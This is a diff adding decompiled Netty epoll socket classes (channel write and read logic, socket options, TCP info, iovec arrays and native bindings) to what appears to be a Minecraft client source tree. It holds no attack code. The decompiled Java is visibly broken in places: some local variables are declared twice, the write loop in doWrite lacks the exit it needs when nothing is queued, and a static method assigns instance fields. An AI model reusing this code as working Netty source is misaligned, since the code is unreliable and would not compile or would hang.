+    throws Exception
+  {
+    long regionCount = region.count();
+    if (region.transfered() >= regionCount) {
+      in.remove();
+      return true;
+    }
+    
+    long baseOffset = region.position();
+    boolean done = false;
+    long flushedAmount = 0L;
+    
+    for (int i = config().getWriteSpinCount() - 1; i >= 0; i--) {
+      long offset = region.transfered();
+      long localFlushedAmount = Native.sendfile(fd, region, baseOffset, offset, regionCount - offset);
+      if (localFlushedAmount == 0L)
+      {
+        setEpollOut();
+        break;
+      }
+      
+      flushedAmount += localFlushedAmount;
+      if (region.transfered() >= regionCount) {
+        done = true;
+        break;
+      }
+    }
+    
+    if (flushedAmount > 0L) {
+      in.progress(flushedAmount);
+    }
+    
+    if (done) {
+      in.remove();
+    }
+    return done;
+  }
+  
+  protected void doWrite(ChannelOutboundBuffer in) throws Exception
+  {
+    for (;;) {
+      int msgCount = in.size();
+      
+      if (msgCount == 0)
+      {
+        clearEpollOut();
+
+      }
+      else
+      {
+        if ((msgCount > 1) && ((in.current() instanceof ByteBuf)) ? 
+          !doWriteMultiple(in) : 
+          
+
+
+
+
+
+
+          !doWriteSingle(in)) {
+          break;
+        }
+      }
+    }
+  }
+  
+  private boolean doWriteSingle(ChannelOutboundBuffer in) throws Exception
+  {
+    Object msg = in.current();
+    if ((msg instanceof ByteBuf)) {
+      ByteBuf buf = (ByteBuf)msg;
+      if (!writeBytes(in, buf))
+      {
+
+        return false;
+      }
+    } else if ((msg instanceof DefaultFileRegion)) {
+      DefaultFileRegion region = (DefaultFileRegion)msg;
+      if (!writeFileRegion(in, region))
+      {
+
+        return false;
+      }
+    }
+    else {
+      throw new Error();
+    }
+    
+    return true;
+  }
+  
+  private boolean doWriteMultiple(ChannelOutboundBuffer in) throws Exception {
+    if (PlatformDependent.hasUnsafe())
+    {
+      IovArray array = IovArray.get(in);
+      int cnt = array.count();
+      if (cnt >= 1)
+      {
+        if (!writeBytesMultiple(in, array))
+        {
+
+          return false;
+        }
+      } else {
+        in.removeBytes(0L);
+      }
+    } else {
+      ByteBuffer[] buffers = in.nioBuffers();
+      int cnt = in.nioBufferCount();
+      if (cnt >= 1)
+      {
+        if (!writeBytesMultiple(in, buffers, cnt, in.nioBufferSize()))
+        {
+
+          return false;
+        }
+      } else {
+        in.removeBytes(0L);
+      }
+    }
+    
+    return true;
+  }
+  
+  protected Object filterOutboundMessage(Object msg)
+  {
+    if ((msg instanceof ByteBuf)) {
+      ByteBuf buf = (ByteBuf)msg;
+      if ((!buf.hasMemoryAddress()) && ((PlatformDependent.hasUnsafe()) || (!buf.isDirect())))
+      {
+
+        buf = newDirectBuffer(buf);
+        assert (buf.hasMemoryAddress());
+      }
+      return buf;
+    }
+    
+    if ((msg instanceof DefaultFileRegion)) {
+      return msg;
+    }
+    
+    throw new UnsupportedOperationException("unsupported message type: " + StringUtil.simpleClassName(msg) + EXPECTED_TYPES);
+  }
+  
+
+  public EpollSocketChannelConfig config()
+  {
+    return config;
+  }
+  
+  public boolean isInputShutdown()
+  {
+    return inputShutdown;
+  }
+  
+  public boolean isOutputShutdown()
+  {
+    return (outputShutdown) || (!isActive());
+  }
+  
+  public ChannelFuture shutdownOutput()
+  {
+    return shutdownOutput(newPromise());
+  }
+  
+  public ChannelFuture shutdownOutput(final ChannelPromise promise)
+  {
+    EventLoop loop = eventLoop();
+    if (loop.inEventLoop()) {
+      try {
+        Native.shutdown(fd, false, true);
+        outputShutdown = true;
+        promise.setSuccess();
+      } catch (Throwable t) {
+        promise.setFailure(t);
+      }
+    } else {
+      loop.execute(new Runnable()
+      {
+        public void run() {
+          shutdownOutput(promise);
+        }
+      });
+    }
+    return promise;
+  }
+  
+
+
+  public ServerSocketChannel parent() { return (ServerSocketChannel)super.parent(); }
+  
+  final class EpollSocketUnsafe extends AbstractEpollChannel.AbstractEpollUnsafe {
+    EpollSocketUnsafe() { super(); }
+    
+    private void closeOnRead(ChannelPipeline pipeline)
+    {
+      inputShutdown = true;
+      if (isOpen()) {
+        if (Boolean.TRUE.equals(config().getOption(ChannelOption.ALLOW_HALF_CLOSURE))) {
+          clearEpollIn0();
+          pipeline.fireUserEventTriggered(ChannelInputShutdownEvent.INSTANCE);
+        } else {
+          close(voidPromise());
+        }
+      }
+    }
+    
+    private boolean handleReadException(ChannelPipeline pipeline, ByteBuf byteBuf, Throwable cause, boolean close) {
+      if (byteBuf != null) {
+        if (byteBuf.isReadable()) {
+          readPending = false;
+          pipeline.fireChannelRead(byteBuf);
+        } else {
+          byteBuf.release();
+        }
+      }
+      pipeline.fireChannelReadComplete();
+      pipeline.fireExceptionCaught(cause);
+      if ((close) || ((cause instanceof IOException))) {
+        closeOnRead(pipeline);
+        return true;
+      }
+      return false;
+    }
+    
+
+    public void connect(final SocketAddress remoteAddress, SocketAddress localAddress, ChannelPromise promise)
+    {
+      if ((!promise.setUncancellable()) || (!ensureOpen(promise))) {
+        return;
+      }
+      try
+      {
+        if (connectPromise != null) {
+          throw new IllegalStateException("connection attempt already made");
+        }
+        
+        boolean wasActive = isActive();
+        if (doConnect((InetSocketAddress)remoteAddress, (InetSocketAddress)localAddress)) {
+          fulfillConnectPromise(promise, wasActive);
+        } else {
+          connectPromise = promise;
+          requestedRemoteAddress = remoteAddress;
+          
+
+          int connectTimeoutMillis = config().getConnectTimeoutMillis();
+          if (connectTimeoutMillis > 0) {
+            connectTimeoutFuture = eventLoop().schedule(new Runnable()
+            {
+              public void run() {
+                ChannelPromise connectPromise = EpollSocketChannel.this.connectPromise;
+                ConnectTimeoutException cause = new ConnectTimeoutException("connection timed out: " + remoteAddress);
+                
+                if ((connectPromise != null) && (connectPromise.tryFailure(cause)))
+                  close(voidPromise()); } }, connectTimeoutMillis, TimeUnit.MILLISECONDS);
+          }
+          
+
+
+
+          promise.addListener(new ChannelFutureListener()
+          {
+            public void operationComplete(ChannelFuture future) throws Exception {
+              if (future.isCancelled()) {
+                if (connectTimeoutFuture != null) {
+                  connectTimeoutFuture.cancel(false);
+                }
+                connectPromise = null;
+                close(voidPromise());
+              }
+            }
+          });
+        }
+      } catch (Throwable t) {
+        if ((t instanceof ConnectException)) {
+          Throwable newT = new ConnectException(t.getMessage() + ": " + remoteAddress);
+          newT.setStackTrace(t.getStackTrace());
+          t = newT;
+        }
+        closeIfClosed();
+        promise.tryFailure(t);
+      }
+    }
+    
+    private void fulfillConnectPromise(ChannelPromise promise, boolean wasActive) {
+      if (promise == null)
+      {
+        return;
+      }
+      active = true;
+      
+
+      boolean promiseSet = promise.trySuccess();
+      
+
+
+      if ((!wasActive) && (isActive())) {
+        pipeline().fireChannelActive();
+      }
+      
+
+      if (!promiseSet) {
+        close(voidPromise());
+      }
+    }
+    
+    private void fulfillConnectPromise(ChannelPromise promise, Throwable cause) {
+      if (promise == null)
+      {
+        return;
+      }
+      
+
+      promise.tryFailure(cause);
+      closeIfClosed();
+    }
+    
+
+    private RecvByteBufAllocator.Handle allocHandle;
+    private void finishConnect()
+    {
+      assert (eventLoop().inEventLoop());
+      
+      boolean connectStillInProgress = false;
+      try {
+        boolean wasActive = isActive();
+        if (!doFinishConnect()) {
+          connectStillInProgress = true;
+        }
+        else
+          fulfillConnectPromise(connectPromise, wasActive);
+      } catch (Throwable t) {
+        if ((t instanceof ConnectException)) {
+          Throwable newT = new ConnectException(t.getMessage() + ": " + requestedRemoteAddress);
+          newT.setStackTrace(t.getStackTrace());
+          t = newT;
+        }
+        
+        fulfillConnectPromise(connectPromise, t);
+      } finally {
+        if (!connectStillInProgress)
+        {
+
+          if (connectTimeoutFuture != null) {
+            connectTimeoutFuture.cancel(false);
+          }
+          connectPromise = null;
+        }
+      }
+    }
+    
+    void epollOutReady()
+    {
+      if (connectPromise != null)
+      {
+        finishConnect();
+      } else {
+        super.epollOutReady();
+      }
+    }
+    
+
+    private boolean doConnect(InetSocketAddress remoteAddress, InetSocketAddress localAddress)
+      throws Exception
+    {
+      if (localAddress != null) {
+        AbstractEpollChannel.checkResolvable(localAddress);
+        Native.bind(fd, localAddress.getAddress(), localAddress.getPort());
+      }
+      
+      boolean success = false;
+      try {
+        AbstractEpollChannel.checkResolvable(remoteAddress);
+        boolean connected = Native.connect(fd, remoteAddress.getAddress(), remoteAddress.getPort());
+        
+        remote = remoteAddress;
+        local = Native.localAddress(fd);
+        if (!connected) {
+          setEpollOut();
+        }
+        success = true;
+        return connected;
+      } finally {
+        if (!success) {
+          doClose();
+        }
+      }
+    }
+    
+
+    private boolean doFinishConnect()
+      throws Exception
+    {
+      if (Native.finishConnect(fd)) {
+        clearEpollOut();
+        return true;
+      }
+      setEpollOut();
+      return false;
+    }
+    
+
+
+    private int doReadBytes(ByteBuf byteBuf)
+      throws Exception
+    {
+      int writerIndex = byteBuf.writerIndex();
+      int localReadAmount;
+      int localReadAmount; if (byteBuf.hasMemoryAddress()) {
+        localReadAmount = Native.readAddress(fd, byteBuf.memoryAddress(), writerIndex, byteBuf.capacity());
+      } else {
+        ByteBuffer buf = byteBuf.internalNioBuffer(writerIndex, byteBuf.writableBytes());
+        localReadAmount = Native.read(fd, buf, buf.position(), buf.limit());
+      }
+      if (localReadAmount > 0) {
+        byteBuf.writerIndex(writerIndex + localReadAmount);
+      }
+      return localReadAmount;
+    }
+    
+    void epollRdHupReady()
+    {
+      if (isActive()) {
+        epollInReady();
+      } else {
+        closeOnRead(pipeline());
+      }
+    }
+    
+    void epollInReady()
+    {
+      ChannelConfig config = config();
+      ChannelPipeline pipeline = pipeline();
+      ByteBufAllocator allocator = config.getAllocator();
+      RecvByteBufAllocator.Handle allocHandle = this.allocHandle;
+      if (allocHandle == null) {
+        this.allocHandle = (allocHandle = config.getRecvByteBufAllocator().newHandle());
+      }
+      
+      ByteBuf byteBuf = null;
+      boolean close = false;
+      try {
+        int totalReadAmount = 0;
+        
+        for (;;)
+        {
+          byteBuf = allocHandle.allocate(allocator);
+          int writable = byteBuf.writableBytes();
+          int localReadAmount = doReadBytes(byteBuf);
+          if (localReadAmount <= 0)
+          {
+            byteBuf.release();
+            close = localReadAmount < 0;
+          }
+          else {
+            readPending = false;
+            pipeline.fireChannelRead(byteBuf);
+            byteBuf = null;
+            
+            if (totalReadAmount >= Integer.MAX_VALUE - localReadAmount) {
+              allocHandle.record(totalReadAmount);
+              
+
+              totalReadAmount = localReadAmount;
+            } else {
+              totalReadAmount += localReadAmount;
+            }
+            
+            if (localReadAmount < writable) {
+              break;
+            }
+          }
+        }
+        
+        pipeline.fireChannelReadComplete();
+        allocHandle.record(totalReadAmount);
+        
+        if (close) {
+          closeOnRead(pipeline);
+          close = false;
+        }
+      } catch (Throwable t) {
+        boolean closed = handleReadException(pipeline, byteBuf, t, close);
+        if (!closed)
+        {
+
+          eventLoop().execute(new Runnable()
+          {
+            public void run() {
+              epollInReady();
+            }
+            
+
+          });
+        }
+        
+
+      }
+      finally
+      {
+        if ((!config.isAutoRead()) && (!readPending)) {
+          clearEpollIn0();
+        }
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/channel/epoll/EpollSocketChannelConfig.java b/src/minecraft/io/netty/channel/epoll/EpollSocketChannelConfig.java
new file mode 100644
index 0000000..c391702
--- /dev/null
+++ b/src/minecraft/io/netty/channel/epoll/EpollSocketChannelConfig.java
@@ -0,0 +1,351 @@
+package io.netty.channel.epoll;
+
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.ChannelOption;
+import io.netty.channel.DefaultChannelConfig;
+import io.netty.channel.MessageSizeEstimator;
+import io.netty.channel.RecvByteBufAllocator;
+import io.netty.channel.socket.SocketChannelConfig;
+import io.netty.util.internal.PlatformDependent;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class EpollSocketChannelConfig
+  extends DefaultChannelConfig
+  implements SocketChannelConfig
+{
+  private final EpollSocketChannel channel;
+  private volatile boolean allowHalfClosure;
+  
+  EpollSocketChannelConfig(EpollSocketChannel channel)
+  {
+    super(channel);
+    
+    this.channel = channel;
+    if (PlatformDependent.canEnableTcpNoDelayByDefault()) {
+      setTcpNoDelay(true);
+    }
+  }
+  
+  public Map<ChannelOption<?>, Object> getOptions()
+  {
+    return getOptions(super.getOptions(), new ChannelOption[] { ChannelOption.SO_RCVBUF, ChannelOption.SO_SNDBUF, ChannelOption.TCP_NODELAY, ChannelOption.SO_KEEPALIVE, ChannelOption.SO_REUSEADDR, ChannelOption.SO_LINGER, ChannelOption.IP_TOS, ChannelOption.ALLOW_HALF_CLOSURE, EpollChannelOption.TCP_CORK, EpollChannelOption.TCP_KEEPCNT, EpollChannelOption.TCP_KEEPIDLE, EpollChannelOption.TCP_KEEPINTVL });
+  }
+  
+
+
+
+
+
+  public <T> T getOption(ChannelOption<T> option)
+  {
+    if (option == ChannelOption.SO_RCVBUF) {
+      return Integer.valueOf(getReceiveBufferSize());
+    }
+    if (option == ChannelOption.SO_SNDBUF) {
+      return Integer.valueOf(getSendBufferSize());
+    }
+    if (option == ChannelOption.TCP_NODELAY) {
+      return Boolean.valueOf(isTcpNoDelay());
+    }
+    if (option == ChannelOption.SO_KEEPALIVE) {
+      return Boolean.valueOf(isKeepAlive());
+    }
+    if (option == ChannelOption.SO_REUSEADDR) {
+      return Boolean.valueOf(isReuseAddress());
+    }
+    if (option == ChannelOption.SO_LINGER) {
+      return Integer.valueOf(getSoLinger());
+    }
+    if (option == ChannelOption.IP_TOS) {
+      return Integer.valueOf(getTrafficClass());
+    }
+    if (option == ChannelOption.ALLOW_HALF_CLOSURE) {
+      return Boolean.valueOf(isAllowHalfClosure());
+    }
+    if (option == EpollChannelOption.TCP_CORK) {
+      return Boolean.valueOf(isTcpCork());
+    }
+    if (option == EpollChannelOption.TCP_KEEPIDLE) {
+      return Integer.valueOf(getTcpKeepIdle());
+    }
+    if (option == EpollChannelOption.TCP_KEEPINTVL) {
+      return Integer.valueOf(getTcpKeepIntvl());
+    }
+    if (option == EpollChannelOption.TCP_KEEPCNT) {
+      return Integer.valueOf(getTcpKeepCnt());
+    }
+    return super.getOption(option);
+  }
+  
+  public <T> boolean setOption(ChannelOption<T> option, T value)
+  {
+    validate(option, value);
+    
+    if (option == ChannelOption.SO_RCVBUF) {
+      setReceiveBufferSize(((Integer)value).intValue());
+    } else if (option == ChannelOption.SO_SNDBUF) {
+      setSendBufferSize(((Integer)value).intValue());
+    } else if (option == ChannelOption.TCP_NODELAY) {
+      setTcpNoDelay(((Boolean)value).booleanValue());
+    } else if (option == ChannelOption.SO_KEEPALIVE) {
+      setKeepAlive(((Boolean)value).booleanValue());
+    } else if (option == ChannelOption.SO_REUSEADDR) {
+      setReuseAddress(((Boolean)value).booleanValue());
+    } else if (option == ChannelOption.SO_LINGER) {
+      setSoLinger(((Integer)value).intValue());
+    } else if (option == ChannelOption.IP_TOS) {
+      setTrafficClass(((Integer)value).intValue());
+    } else if (option == ChannelOption.ALLOW_HALF_CLOSURE) {
+      setAllowHalfClosure(((Boolean)value).booleanValue());
+    } else if (option == EpollChannelOption.TCP_CORK) {
+      setTcpCork(((Boolean)value).booleanValue());
+    } else if (option == EpollChannelOption.TCP_KEEPIDLE) {
+      setTcpKeepIdle(((Integer)value).intValue());
+    } else if (option == EpollChannelOption.TCP_KEEPCNT) {
+      setTcpKeepCntl(((Integer)value).intValue());
+    } else if (option == EpollChannelOption.TCP_KEEPINTVL) {
+      setTcpKeepIntvl(((Integer)value).intValue());
+    } else {
+      return super.setOption(option, value);
+    }
+    
+    return true;
+  }
+  
+  public int getReceiveBufferSize()
+  {
+    return Native.getReceiveBufferSize(channel.fd);
+  }
+  
+  public int getSendBufferSize()
+  {
+    return Native.getSendBufferSize(channel.fd);
+  }
+  
+  public int getSoLinger()
+  {
+    return Native.getSoLinger(channel.fd);
+  }
+  
+  public int getTrafficClass()
+  {
+    return Native.getTrafficClass(channel.fd);
+  }
+  
+  public boolean isKeepAlive()
+  {
+    return Native.isKeepAlive(channel.fd) == 1;
+  }
+  
+  public boolean isReuseAddress()
+  {
+    return Native.isReuseAddress(channel.fd) == 1;
+  }
+  
+  public boolean isTcpNoDelay()
+  {
+    return Native.isTcpNoDelay(channel.fd) == 1;
+  }
+  
+
+
+  public boolean isTcpCork()
+  {
+    return Native.isTcpCork(channel.fd) == 1;
+  }
+  
+
+
+  public int getTcpKeepIdle()
+  {
+    return Native.getTcpKeepIdle(channel.fd);
+  }
+  
+
+
+  public int getTcpKeepIntvl()
+  {
+    return Native.getTcpKeepIntvl(channel.fd);
+  }
+  
+
+
+  public int getTcpKeepCnt()
+  {
+    return Native.getTcpKeepCnt(channel.fd);
+  }
+  
+  public EpollSocketChannelConfig setKeepAlive(boolean keepAlive)
+  {
+    Native.setKeepAlive(channel.fd, keepAlive ? 1 : 0);
+    return this;
+  }
+  
+
+  public EpollSocketChannelConfig setPerformancePreferences(int connectionTime, int latency, int bandwidth)
+  {
+    return this;
+  }
+  
+  public EpollSocketChannelConfig setReceiveBufferSize(int receiveBufferSize)
+  {
+    Native.setReceiveBufferSize(channel.fd, receiveBufferSize);
+    return this;
+  }
+  
+  public EpollSocketChannelConfig setReuseAddress(boolean reuseAddress)
+  {
+    Native.setReuseAddress(channel.fd, reuseAddress ? 1 : 0);
+    return this;
+  }
+  
+  public EpollSocketChannelConfig setSendBufferSize(int sendBufferSize)
+  {
+    Native.setSendBufferSize(channel.fd, sendBufferSize);
+    return this;
+  }
+  
+  public EpollSocketChannelConfig setSoLinger(int soLinger)
+  {
+    Native.setSoLinger(channel.fd, soLinger);
+    return this;
+  }
+  
+  public EpollSocketChannelConfig setTcpNoDelay(boolean tcpNoDelay)
+  {
+    Native.setTcpNoDelay(channel.fd, tcpNoDelay ? 1 : 0);
+    return this;
+  }
+  
+
+
+  public EpollSocketChannelConfig setTcpCork(boolean tcpCork)
+  {
+    Native.setTcpCork(channel.fd, tcpCork ? 1 : 0);
+    return this;
+  }
+  
+  public EpollSocketChannelConfig setTrafficClass(int trafficClass)
+  {
+    Native.setTrafficClass(channel.fd, trafficClass);
+    return this;
+  }
+  
+
+
+  public EpollSocketChannelConfig setTcpKeepIdle(int seconds)
+  {
+    Native.setTcpKeepIdle(channel.fd, seconds);
+    return this;
+  }
+  
+
+
+  public EpollSocketChannelConfig setTcpKeepIntvl(int seconds)
+  {
+    Native.setTcpKeepIntvl(channel.fd, seconds);
+    return this;
+  }
+  
+
+
+  public EpollSocketChannelConfig setTcpKeepCntl(int probes)
+  {
+    Native.setTcpKeepCnt(channel.fd, probes);
+    return this;
+  }
+  
+  public boolean isAllowHalfClosure()
+  {
+    return allowHalfClosure;
+  }
+  
+  public EpollSocketChannelConfig setAllowHalfClosure(boolean allowHalfClosure)
+  {
+    this.allowHalfClosure = allowHalfClosure;
+    return this;
+  }
+  
+  public EpollSocketChannelConfig setConnectTimeoutMillis(int connectTimeoutMillis)
+  {
+    super.setConnectTimeoutMillis(connectTimeoutMillis);
+    return this;
+  }
+  
+  public EpollSocketChannelConfig setMaxMessagesPerRead(int maxMessagesPerRead)
+  {
+    super.setMaxMessagesPerRead(maxMessagesPerRead);
+    return this;
+  }
+  
+  public EpollSocketChannelConfig setWriteSpinCount(int writeSpinCount)
+  {
+    super.setWriteSpinCount(writeSpinCount);
+    return this;
+  }
+  
+  public EpollSocketChannelConfig setAllocator(ByteBufAllocator allocator)
+  {
+    super.setAllocator(allocator);
+    return this;
+  }
+  
+  public EpollSocketChannelConfig setRecvByteBufAllocator(RecvByteBufAllocator allocator)
+  {
+    super.setRecvByteBufAllocator(allocator);
+    return this;
+  }
+  
+  public EpollSocketChannelConfig setAutoRead(boolean autoRead)
+  {
+    super.setAutoRead(autoRead);
+    return this;
+  }
+  
+  public EpollSocketChannelConfig setAutoClose(boolean autoClose)
+  {
+    super.setAutoClose(autoClose);
+    return this;
+  }
+  
+  public EpollSocketChannelConfig setWriteBufferHighWaterMark(int writeBufferHighWaterMark)
+  {
+    super.setWriteBufferHighWaterMark(writeBufferHighWaterMark);
+    return this;
+  }
+  
+  public EpollSocketChannelConfig setWriteBufferLowWaterMark(int writeBufferLowWaterMark)
+  {
+    super.setWriteBufferLowWaterMark(writeBufferLowWaterMark);
+    return this;
+  }
+  
+  public EpollSocketChannelConfig setMessageSizeEstimator(MessageSizeEstimator estimator)
+  {
+    super.setMessageSizeEstimator(estimator);
+    return this;
+  }
+  
+  protected void autoReadCleared()
+  {
+    channel.clearEpollIn();
+  }
+}
diff --git a/src/minecraft/io/netty/channel/epoll/EpollTcpInfo.java b/src/minecraft/io/netty/channel/epoll/EpollTcpInfo.java
new file mode 100644
index 0000000..b2224f5
--- /dev/null
+++ b/src/minecraft/io/netty/channel/epoll/EpollTcpInfo.java
@@ -0,0 +1,193 @@
+package io.netty.channel.epoll;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class EpollTcpInfo
+{
+  public EpollTcpInfo() {}
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  final int[] info = new int[32];
+  
+  public int state() {
+    return info[0] & 0xFF;
+  }
+  
+  public int caState() {
+    return info[1] & 0xFF;
+  }
+  
+  public int retransmits() {
+    return info[2] & 0xFF;
+  }
+  
+  public int probes() {
+    return info[3] & 0xFF;
+  }
+  
+  public int backoff() {
+    return info[4] & 0xFF;
+  }
+  
+  public int options() {
+    return info[5] & 0xFF;
+  }
+  
+  public int sndWscale() {
+    return info[6] & 0xFF;
+  }
+  
+  public int rcvWscale() {
+    return info[7] & 0xFF;
+  }
+  
+  public long rto() {
+    return info[8] & 0xFFFFFFFF;
+  }
+  
+  public long ato() {
+    return info[9] & 0xFFFFFFFF;
+  }
+  
+  public long sndMss() {
+    return info[10] & 0xFFFFFFFF;
+  }
+  
+  public long rcvMss() {
+    return info[11] & 0xFFFFFFFF;
+  }
+  
+  public long unacked() {
+    return info[12] & 0xFFFFFFFF;
+  }
+  
+  public long sacked() {
+    return info[13] & 0xFFFFFFFF;
+  }
+  
+  public long lost() {
+    return info[14] & 0xFFFFFFFF;
+  }
+  
+  public long retrans() {
+    return info[15] & 0xFFFFFFFF;
+  }
+  
+  public long fackets() {
+    return info[16] & 0xFFFFFFFF;
+  }
+  
+  public long lastDataSent() {
+    return info[17] & 0xFFFFFFFF;
+  }
+  
+  public long lastAckSent() {
+    return info[18] & 0xFFFFFFFF;
+  }
+  
+  public long lastDataRecv() {
+    return info[19] & 0xFFFFFFFF;
+  }
+  
+  public long lastAckRecv() {
+    return info[20] & 0xFFFFFFFF;
+  }
+  
+  public long pmtu() {
+    return info[21] & 0xFFFFFFFF;
+  }
+  
+  public long rcvSsthresh() {
+    return info[22] & 0xFFFFFFFF;
+  }
+  
+  public long rtt() {
+    return info[23] & 0xFFFFFFFF;
+  }
+  
+  public long rttvar() {
+    return info[24] & 0xFFFFFFFF;
+  }
+  
+  public long sndSsthresh() {
+    return info[25] & 0xFFFFFFFF;
+  }
+  
+  public long sndCwnd() {
+    return info[26] & 0xFFFFFFFF;
+  }
+  
+  public long advmss() {
+    return info[27] & 0xFFFFFFFF;
+  }
+  
+  public long reordering() {
+    return info[28] & 0xFFFFFFFF;
+  }
+  
+  public long rcvRtt() {
+    return info[29] & 0xFFFFFFFF;
+  }
+  
+  public long rcvSpace() {
+    return info[30] & 0xFFFFFFFF;
+  }
+  
+  public long totalRetrans() {
+    return info[31] & 0xFFFFFFFF;
+  }
+}
diff --git a/src/minecraft/io/netty/channel/epoll/IovArray.java b/src/minecraft/io/netty/channel/epoll/IovArray.java
new file mode 100644
index 0000000..94ce550
--- /dev/null
+++ b/src/minecraft/io/netty/channel/epoll/IovArray.java
@@ -0,0 +1,182 @@
+package io.netty.channel.epoll;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelOutboundBuffer;
+import io.netty.channel.ChannelOutboundBuffer.MessageProcessor;
+import io.netty.util.concurrent.FastThreadLocal;
+import io.netty.util.internal.PlatformDependent;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class IovArray
+  implements ChannelOutboundBuffer.MessageProcessor
+{
+  private static final int ADDRESS_SIZE = PlatformDependent.addressSize();
+  
+
+
+
+
+  private static final int IOV_SIZE = 2 * ADDRESS_SIZE;
+  
+
+
+
+  private static final int CAPACITY = Native.IOV_MAX * IOV_SIZE;
+  
+  private static final FastThreadLocal<IovArray> ARRAY = new FastThreadLocal()
+  {
+    protected IovArray initialValue() throws Exception {
+      return new IovArray(null);
+    }
+    
+    protected void onRemoval(IovArray value)
+      throws Exception
+    {
+      PlatformDependent.freeMemory(memoryAddress);
+    }
+  };
+  private final long memoryAddress;
+  private int count;
+  private long size;
+  
+  private IovArray()
+  {
+    memoryAddress = PlatformDependent.allocateMemory(CAPACITY);
+  }
+  
+
+
+
+  private boolean add(ByteBuf buf)
+  {
+    if (count == Native.IOV_MAX)
+    {
+      return false;
+    }
+    
+    int len = buf.readableBytes();
+    if (len == 0)
+    {
+
+
+      return true;
+    }
+    
+    long addr = buf.memoryAddress();
+    int offset = buf.readerIndex();
+    
+    long baseOffset = memoryAddress(count++);
+    long lengthOffset = baseOffset + ADDRESS_SIZE;
+    
+    if (ADDRESS_SIZE == 8)
+    {
+      PlatformDependent.putLong(baseOffset, addr + offset);
+      PlatformDependent.putLong(lengthOffset, len);
+    } else {
+      assert (ADDRESS_SIZE == 4);
+      PlatformDependent.putInt(baseOffset, (int)addr + offset);
+      PlatformDependent.putInt(lengthOffset, len);
+    }
+    
+    size += len;
+    return true;
+  }
+  
+
+
+
+  long processWritten(int index, long written)
+  {
+    long baseOffset = memoryAddress(index);
+    long lengthOffset = baseOffset + ADDRESS_SIZE;
+    if (ADDRESS_SIZE == 8)
+    {
+      long len = PlatformDependent.getLong(lengthOffset);
+      if (len > written) {
+        long offset = PlatformDependent.getLong(baseOffset);
+        PlatformDependent.putLong(baseOffset, offset + written);
+        PlatformDependent.putLong(lengthOffset, len - written);
+        return -1L;
+      }
+      return len;
+    }
+    assert (ADDRESS_SIZE == 4);
+    long len = PlatformDependent.getInt(lengthOffset);
+    if (len > written) {
+      int offset = PlatformDependent.getInt(baseOffset);
+      PlatformDependent.putInt(baseOffset, (int)(offset + written));
+      PlatformDependent.putInt(lengthOffset, (int)(len - written));
+      return -1L;
+    }
+    return len;
+  }
+  
+
+
+
+  int count()
+  {
+    return count;
+  }
+  
+
+
+  long size()
+  {
+    return size;
+  }
+  
+
+
+  long memoryAddress(int offset)
+  {
+    return memoryAddress + IOV_SIZE * offset;
+  }
+  
+  public boolean processMessage(Object msg) throws Exception
+  {
+    return ((msg instanceof ByteBuf)) && (add((ByteBuf)msg));
+  }
+  
+
+  static IovArray get(ChannelOutboundBuffer buffer)
+    throws Exception
+  {
+    IovArray array = (IovArray)ARRAY.get();
+    size = 0L;
+    count = 0;
+    buffer.forEachFlushedMessage(array);
+    return array;
+  }
+}
diff --git a/src/minecraft/io/netty/channel/epoll/Native.java b/src/minecraft/io/netty/channel/epoll/Native.java
new file mode 100644
index 0000000..fd34405
--- /dev/null
+++ b/src/minecraft/io/netty/channel/epoll/Native.java
@@ -0,0 +1,355 @@
+package io.netty.channel.epoll;
+
+import io.netty.channel.ChannelException;
+import io.netty.channel.DefaultFileRegion;
+import io.netty.util.internal.NativeLibraryLoader;
+import io.netty.util.internal.PlatformDependent;
+import io.netty.util.internal.SystemPropertyUtil;
+import java.io.IOException;
+import java.net.Inet6Address;
+import java.net.InetAddress;
+import java.net.InetSocketAddress;
+import java.nio.ByteBuffer;
+import java.util.Locale;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class Native
+{
+  private static final byte[] IPV4_MAPPED_IPV6_PREFIX = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, -1 };
+  public static final int EPOLLIN = 1;
+  public static final int EPOLLOUT = 2;
+  
+  static { String name = SystemPropertyUtil.get("os.name").toLowerCase(Locale.UK).trim();
+    if (!name.startsWith("linux")) {
+      throw new IllegalStateException("Only supported on Linux");
+    }
+    NativeLibraryLoader.load("netty-transport-native-epoll", PlatformDependent.getClassLoader(Native.class));
+  }
+  
+
+  public static final int EPOLLACCEPT = 4;
+  
+  public static final int EPOLLRDHUP = 8;
+  
+  public static final int IOV_MAX = iovMax();
+  
+
+
+
+
+
+
+
+  public static int sendTo(int fd, ByteBuffer buf, int pos, int limit, InetAddress addr, int port)
+    throws IOException
+  {
+    int scopeId;
+    
+
+
+
+
+
+    int scopeId;
+    
+
+
+
+
+
+    byte[] address;
+    
+
+
+
+
+
+    if ((addr instanceof Inet6Address)) {
+      byte[] address = addr.getAddress();
+      scopeId = ((Inet6Address)addr).getScopeId();
+    }
+    else {
+      scopeId = 0;
+      address = ipv4MappedIpv6Address(addr.getAddress());
+    }
+    return sendTo(fd, buf, pos, limit, address, scopeId, port);
+  }
+  
+
+  public static int sendToAddress(int fd, long memoryAddress, int pos, int limit, InetAddress addr, int port)
+    throws IOException
+  {
+    int scopeId;
+    
+    int scopeId;
+    
+    byte[] address;
+    if ((addr instanceof Inet6Address)) {
+      byte[] address = addr.getAddress();
+      scopeId = ((Inet6Address)addr).getScopeId();
+    }
+    else {
+      scopeId = 0;
+      address = ipv4MappedIpv6Address(addr.getAddress());
+    }
+    return sendToAddress(fd, memoryAddress, pos, limit, address, scopeId, port);
+  }
+  
+
+
+
+
+
+
+
+
+  public static int socketStreamFd()
+  {
+    try
+    {
+      return socketStream();
+    } catch (IOException e) {
+      throw new ChannelException(e);
+    }
+  }
+  
+  public static int socketDgramFd() {
+    try {
+      return socketDgram();
+    } catch (IOException e) {
+      throw new ChannelException(e);
+    }
